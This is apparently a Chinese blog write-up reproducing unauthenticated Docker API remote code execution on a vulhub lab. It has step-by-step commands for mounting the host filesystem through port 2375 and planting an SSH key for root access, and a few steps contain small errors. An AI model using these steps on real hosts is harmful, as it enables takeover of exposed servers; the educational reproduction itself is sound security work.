漏洞复现-docker未授权rce
0x00 实验环境
攻击机:Ubuntu
靶场:vulhub搭建的靶场环境
0x01 影响版本
docker API(1.37及其他版本)未授权访问漏洞,开放2375监听容器时,会调用这个API,方便docker集群管理和扩展。
0x02 漏洞复现
(1)通过nmap探测开放端口2375,测试链接:若能访问,说明存在此漏洞
http://xxx:2375/version
(2)访问:
http://xxx:2375/info
发现存在以下未授权页面:
(3)kali上安装docker环境并启动docker:
apt-get install docker docker-compose
service docker start
(4)使用命令:
docker -H tcp://xxx:2375 images
可以获取其docker拉取且正在运行的镜像文件:
docker -H tcp://IP:2375 version 查看版本
(5)获取容器的shell:
docker -H tcp://xxx:2375 run -it -v /:/mnt 容器ID号 /bin/bash
(6)大概就是将自己kali的公钥写入到他这个挂载的authorized_keys文件内,然后再用自己的kali连接即可:
首先,自己的kali要生成公钥:
ssh-keygen -t rsa # 一直回车即可 cd .ssh cat authorized_keys.pub
(7)然后复制id_rsa.pub的内容到容器的/mnt/root/.ssh下的authorized_keys即可:
echo XXX(内容)>authorized_keys
改不了权限,无法,然后后面的就很清晰的,写入公钥直接连即可,因为实战环境没有权限,所以没有后续操作。
(8)ssh root@IP 即可成功连接
0x03 漏洞原理
开放2375监听容器时,会调用这个API,方便docker集群管理和扩展,此API主要目的是取代命令执行页面。
0x04 参考文献
https://keanes.blog.csdn.net/article/details/127998966
0x05 免责声明
本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!